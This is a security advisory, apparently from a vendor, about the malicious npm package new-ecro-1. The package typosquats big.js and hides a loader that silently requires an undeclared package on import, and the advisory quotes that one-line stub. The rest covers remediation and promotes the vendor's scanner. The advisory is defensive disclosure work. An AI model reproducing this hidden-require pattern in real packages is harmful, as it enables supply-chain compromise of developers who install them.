new-ecro-1npm
new-ecro-1 is a confirmed malicious npm package (MAL-2026-6198) that typosquats a legitimate package to trick installs (malicious versions 0.1.9, 0.2.9, 0.3.9). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in new-ecro-1 (npm)
What this malware does
Package new-ecro-1 impersonates the legitimate big.js library by shipping its source verbatim (banner, license, and homepage pointing at MikeMcl/big.js). Inside the load-time IIFE in both big.js and big.mjs at line 606, an injected block silently executes const doc = require("parket-slot"); doc.from_str().then(e => {}).catch(e => {}), wrapped in a try/catch that swallows all errors. The parket-slot package is not declared in this manifest's dependencies (which instead lists new-solt-1), so the require resolves to whatever loader-controlled package happens to be present in the surrounding install tree, executing its from_str() on import. The combination of name-impersonation, undeclared cross-package require, and silent error suppression is a loader stub for attacker-controlled code that runs the moment any consumer imports this module.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
TyposquatFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for new-ecro-1 (3 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging new-ecro-1 across your stack and pipelines.
If you installed it — respond
new-ecro-1 is a typosquat — you almost certainly intended a legitimately-named package. Remove new-ecro-1, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If new-ecro-1 was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks new-ecro-1 before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks new-ecro-1-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.